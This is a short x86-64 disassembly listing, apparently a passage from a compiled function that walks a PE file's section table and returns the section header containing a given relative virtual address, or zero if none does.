mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x140002c3a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140002c31
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140002c31
mov rax, qword [rbp - 8]
jmp 0x140002c4f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140002c04
mov eax, 0
add rsp, 0x20
pop rbp
ret